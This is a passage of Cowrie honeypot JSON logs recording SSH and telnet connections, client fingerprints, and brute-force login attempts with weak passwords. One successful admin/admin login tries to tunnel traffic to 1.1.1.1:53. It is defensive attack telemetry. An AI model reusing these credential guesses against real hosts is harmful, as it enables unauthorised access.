ngCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:59.215085Z","src_ip":"104.208.108.166","session":"aff6565a1b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:51:00.162964Z","src_ip":"104.208.108.166","session":"aff6565a1b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:51:01.397432Z","src_ip":"104.208.108.166","session":"aff6565a1b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":61032,"dst_ip":"10.17.0.5","dst_port":22,"session":"05b90494db6f","protocol":"ssh","message":"New connection: 104.208.108.166:61032 (10.17.0.5:22) [session: 05b90494db6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:51:52.404965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:51:52.409939Z","src_ip":"104.208.108.166","session":"05b90494db6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:51:52.629555Z","src_ip":"104.208.108.166","session":"05b90494db6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd#123","message":"login attempt [root/P@ssw0rd#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:51:53.540421Z","src_ip":"104.208.108.166","session":"05b90494db6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:51:54.762177Z","src_ip":"104.208.108.166","session":"05b90494db6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":56420,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a27204763b8","protocol":"ssh","message":"New connection: 104.208.108.166:56420 (10.17.0.5:22) [session: 3a27204763b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:46.133319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:46.137780Z","src_ip":"104.208.108.166","session":"3a27204763b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:46.349624Z","src_ip":"104.208.108.166","session":"3a27204763b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@2024","message":"login attempt [root/Hello@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:47.229502Z","src_ip":"104.208.108.166","session":"3a27204763b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:48.443794Z","src_ip":"104.208.108.166","session":"3a27204763b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":52832,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba23c37e7856","protocol":"ssh","message":"New connection: 115.241.83.2:52832 (10.17.0.5:22) [session: ba23c37e7856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:52.825986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:52.830143Z","src_ip":"115.241.83.2","session":"ba23c37e7856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:53.059317Z","src_ip":"115.241.83.2","session":"ba23c37e7856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ai147258","message":"login attempt [root/Ai147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:54.007148Z","src_ip":"115.241.83.2","session":"ba23c37e7856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:52:55.239496Z","src_ip":"115.241.83.2","session":"ba23c37e7856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":11858,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb9ed513eba6","protocol":"ssh","message":"New connection: 104.208.108.166:11858 (10.17.0.5:22) [session: eb9ed513eba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:40.867888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:40.871895Z","src_ip":"104.208.108.166","session":"eb9ed513eba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:41.105676Z","src_ip":"104.208.108.166","session":"eb9ed513eba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQxsw123","message":"login attempt [root/ZAQxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:42.076448Z","src_ip":"104.208.108.166","session":"eb9ed513eba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:43.314055Z","src_ip":"104.208.108.166","session":"eb9ed513eba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46456,"dst_ip":"10.17.0.5","dst_port":22,"session":"dac4a63fd9e4","protocol":"ssh","message":"New connection: 87.251.64.176:46456 (10.17.0.5:22) [session: dac4a63fd9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:45.356204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:45.361439Z","src_ip":"87.251.64.176","session":"dac4a63fd9e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:45.497482Z","src_ip":"87.251.64.176","session":"dac4a63fd9e4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:46.850543Z","src_ip":"87.251.64.176","session":"dac4a63fd9e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:46.951339Z","session":"dac4a63fd9e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:47.098234Z","src_ip":"87.251.64.176","session":"dac4a63fd9e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:47.253005Z","src_ip":"87.251.64.176","session":"dac4a63fd9e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":51148,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6b802e3c9ce","protocol":"ssh","message":"New connection: 152.244.206.148:51148 (10.17.0.5:22) [session: a6b802e3c9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:50.225211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:50.232961Z","src_ip":"152.244.206.148","session":"a6b802e3c9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:50.372837Z","src_ip":"152.244.206.148","session":"a6b802e3c9ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Hx","message":"login attempt [root/123456Hx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:50.976125Z","src_ip":"152.244.206.148","session":"a6b802e3c9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:52.119402Z","src_ip":"152.244.206.148","session":"a6b802e3c9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":36062,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4c0af1ac421","protocol":"ssh","message":"New connection: 115.241.83.2:36062 (10.17.0.5:22) [session: e4c0af1ac421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:56.170155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:56.175290Z","src_ip":"115.241.83.2","session":"e4c0af1ac421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:56.409714Z","src_ip":"115.241.83.2","session":"e4c0af1ac421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aadmin","message":"login attempt [root/aadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:57.376909Z","src_ip":"115.241.83.2","session":"e4c0af1ac421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:53:58.614240Z","src_ip":"115.241.83.2","session":"e4c0af1ac421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.30.36.164","src_port":8193,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fed2658f1fc","protocol":"telnet","message":"New connection: 212.30.36.164:8193 (10.17.0.5:23) [session: 7fed2658f1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:54:00.089690Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":35948,"dst_ip":"10.17.0.5","dst_port":22,"session":"4352975dd837","protocol":"ssh","message":"New connection: 104.208.108.166:35948 (10.17.0.5:22) [session: 4352975dd837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:54:36.976125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:54:36.980690Z","src_ip":"104.208.108.166","session":"4352975dd837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS